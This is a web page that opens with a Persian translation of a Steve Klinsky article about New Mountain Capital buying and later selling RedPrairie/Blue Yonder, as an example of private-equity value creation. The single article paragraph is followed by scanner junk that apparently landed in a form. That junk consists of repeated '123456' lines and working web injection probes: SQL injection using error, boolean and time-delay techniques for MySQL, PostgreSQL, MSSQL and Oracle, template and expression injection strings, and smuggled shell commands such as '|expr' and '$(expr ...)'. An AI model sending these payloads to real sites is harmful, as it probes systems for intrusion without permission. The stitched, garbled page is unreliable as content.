BY Steve Klinsky
نوشته: استیو کلیسنکی
ترجمه: کاوه امیری
دوازده سال پیش و در سال 2010، شرکت سرمایهگذاری خاص نیومونتاینکپیتال، یک شرکت نرمافزاری گمنام به نام ردپرایر را به مبلغ 565 میلیون دلار خرید. در سپتامبر 2021، همان شرکت را که به بلویاندر تغییر نام داده بود، به مبلغ 8.5 میلیارد دلار به پاناسونیک فروخت. حدود 5.7 میلیارد دلار از سود این معامله ناشی از رشد درونزای شرکت و نه بهره تملک آن بود. این موفقیت نه حاصل خوششانسی خاص، پیشرفت فناوری یا ارائه محصولی شگرف بهدست نیامد، بلکه نتیجه سرمایهگذاری مستمر و بهبود در مدیریت، استراتژی و حکمرانی آن بود. این همان رویکردی است که شرکتهای سرمایهگذاری درجهیک سالهاست در دهها صنعت و هزاران شرکت بهکار گرفتهاند. این مقاله با توضیح چگونگی متحولساختن بلویاندر توسط نیومونتاین، نشان میدهد چگونه شرکتهای سرمایهگذاری خاص برای کسبوکارها و اقتصاد ارزشآفرینی میکنند. همچنین نشان میدهد صنعت سرمایهگذاری خاص از زمان پیدایش تاکنون چه میزان تکامل یافته است.
123456
123456
123456
123456
123456
123456
123456
123456
${@var_dump(md5(999541574))};
123456
123456
123456
'-var_dump(md5(712699713))-'
123456
123456
123456
123456
123456
123456
123456
123456
123456
${931192033+879028674}
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456
expr 834098635 + 889067619
123456
123456
123456
123456|expr 913820012 + 982204049
123456
123456
123456
123456
123456$(expr 988632483 + 817389704)
123456
123456
123456
123456&set /A 850307179+834150771
/*1*/{{958077044+896969536}}
123456
expr 864435926 + 840979003
123456
${800698426+987028164}
123456
123456
${(962407828+803758413)?c}
123456'and/**/extractvalue(1,concat(char(126),md5(1905028492)))and'
123456
123456
#set($c=998597969+935995152)${c}$c
123456"and/**/extractvalue(1,concat(char(126),md5(1809724463)))and"
123456
123456
<%- 997201966+950405198 %>
123456
extractvalue(1,concat(char(126),md5(1333627749)))
123456
123456
123456
123456
123456'and(select'1'from/**/cast(md5(1280532564)as/**/int))>'0
123456
123456
123456/**/and/**/cast(md5('1211957501')as/**/int)>0
123456
123456
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1892675493')))
123456
123456/**/and+2=2
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1267416724')))>'0
123456
123456/**/and+1=8
123456鎈'"\(
123456'"\(
123456'and'f'='f
123456
123456'and'b'='g
123456
123456"and"m"="m
123456
123456
123456"and"f"="e
123456
123456
(select*from(select+sleep(0)union/**/select+1)a)
123456
123456
(select*from(select+sleep(6)union/**/select+1)a)
123456
123456
123456
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
123456
123456
123456'and(select*from(select+sleep(6))a/**/union/**/select+1)='
123456
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
123456
123456
123456"and(select*from(select+sleep(6))a/**/union/**/select+1)="
123456
123456
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
123456/**/and(select+1/**/from/**/pg_sleep(6))>0/**/
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
123456'/**/and(select'1'from/**/pg_sleep(6))::text>'0
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
123456/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/
123456'and(select+1)>0waitfor/**/delay'0:0:0
123456'and(select+1)>0waitfor/**/delay'0:0:6
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('y',0)
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('t',6)
123456
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('a',0)='a
123456
123456
123456
123456
123456
123456
123456
123456
123456
123456